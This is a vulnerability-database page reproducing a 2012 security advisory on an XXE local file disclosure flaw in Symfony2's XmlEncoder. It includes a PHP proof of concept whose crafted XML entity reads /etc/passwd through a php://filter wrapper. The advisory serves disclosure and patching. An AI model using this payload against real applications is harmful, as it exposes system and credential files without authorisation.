Search...

Symfony2 - Local File Disclosure

2012-03-05T00:00:00

ID EXPLOITPACK:23895031F0EE57DEB915757598A5A46D
Type exploitpack
Reporter Sense of Security
Modified 2012-03-05T00:00:00

Description

Symfony2 - Local File Disclosure

                                        
                                            Sense of Security - Security Advisory - SOS-12-002

Release Date.                 05-Mar-2012
Last Update.                 -
Vendor Notification Date.       24-Feb-2012
Product.                        Symfony2
Platform.                       PHP
Affected versions.              2.0.x - 2.0.10
Severity Rating.                Medium
Impact.                         Exposure of sensitive information
Attack Vector.                  Remote without authentication
Solution Status.                Vendor patch / Upgrade to 2.0.11
CVE reference.                  CVE - not yet assigned

Details.
The XMLEncoder component of Symfony 2.0.x fails to disable external
entities when parsing XML. In the Symfony2 framework the XML class
may be used to deserialize objects or as part of a client/server
API. By using external entities it is possible to include arbitrary
files from the file system. Any application written in Symfony2
that parses user supplied XML is affected.

Proof of Concept.
$serializer = new Serializer(array(), array(
    'xml' =&gt; new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer-&gt;decode('&lt;?xml version="1.0"?&gt;&lt;!DOCTYPE scan
[&lt;!ENTITY test SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd"&gt;]&gt;&lt;scan&gt;&test;&lt;/scan&gt;',
'xml');

var_dump($x);

// $x will now contain a copy of /etc/passwd base64 encoded.

Solution.
Upgrade to Symfony 2.0.11 or apply the vendor provided patch.

Discovered by.
Phil Taylor from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-002.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:50", "references": [], "description": "\nSymfony2 - Local File Disclosure", "edition": 1, "reporter": "Sense of Security", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2012-03-05T00:00:00", "title": "Symfony2 - Local File Disclosure", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:50", "rev": 2}, "score": {"value": -0.8, "vector": "NONE", "modified": "2020-04-01T19:04:50", "rev": 2}, "vulnersScore": -0.8}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2012-03-05T00:00:00", "id": "EXPLOITPACK:23895031F0EE57DEB915757598A5A46D", "href": "", "viewCount": 1, "sourceData": "Sense of Security - Security Advisory - SOS-12-002\n\nRelease Date. 05-Mar-2012\nLast Update. -\nVendor Notification Date. 24-Feb-2012\nProduct. Symfony2\nPlatform. PHP\nAffected versions. 2.0.x - 2.0.10\nSeverity Rating. Medium\nImpact. Exposure of sensitive information\nAttack Vector. Remote without authentication\nSolution Status. Vendor patch / Upgrade to 2.0.11\nCVE reference. CVE - not yet assigned\n\nDetails.\nThe XMLEncoder component of Symfony 2.0.x fails to disable external\nentities when parsing XML. In the Symfony2 framework the XML class\nmay be used to deserialize objects or as part of a client/server\nAPI. By using external entities it is possible to include arbitrary\nfiles from the file system. Any application written in Symfony2\nthat parses user supplied XML is affected.\n\nProof of Concept.\n$serializer = new Serializer(array(), array(\n 'xml' => new \\Symfony\\Component\\Serializer\\Encoder\\XmlEncoder()\n));\n\n$x = $serializer->decode('<?xml version=\"1.0\"?><!DOCTYPE scan\n[<!ENTITY test SYSTEM\n\"php://filter/read=convert.base64-encode/resource=/etc/passwd\">]><scan>&test;</scan>',\n'xml');\n\nvar_dump($x);\n\n// $x will now contain a copy of /etc/passwd base64 encoded.\n\nSolution.\nUpgrade to Symfony 2.0.11 or apply the vendor provided patch.\n\nDiscovered by.\nPhil Taylor from Sense of Security Labs.\n\nAbout us.\nSense of Security is a leading provider of information security and\nrisk management solutions. Our team has expert skills in assessment\nand assurance, strategy and architecture, and deployment through to\nongoing management. We are Australia's premier application penetration\ntesting firm and trusted IT security advisor to many of the country's\nlargest organisations.\n\nSense of Security Pty Ltd\nLevel 8, 66 King St\nSydney NSW 2000\nAUSTRALIA\n\nT: +61 (0)2 9290 4444\nF: +61 (0)2 9290 4455\nW: http://www.senseofsecurity.com.au\nE: info@senseofsecurity.com.au\nTwitter: @ITsecurityAU\n\nThe latest version of this advisory can be found at:\nhttp://www.senseofsecurity.com.au/advisories/SOS-12-002.pdf\n\nOther Sense of Security advisories can be found at:\nhttp://www.senseofsecurity.com.au/research/it-security-advisories.php", "cvss": {"score": 0.0, "vector": "NONE"}, "immutableFields": []}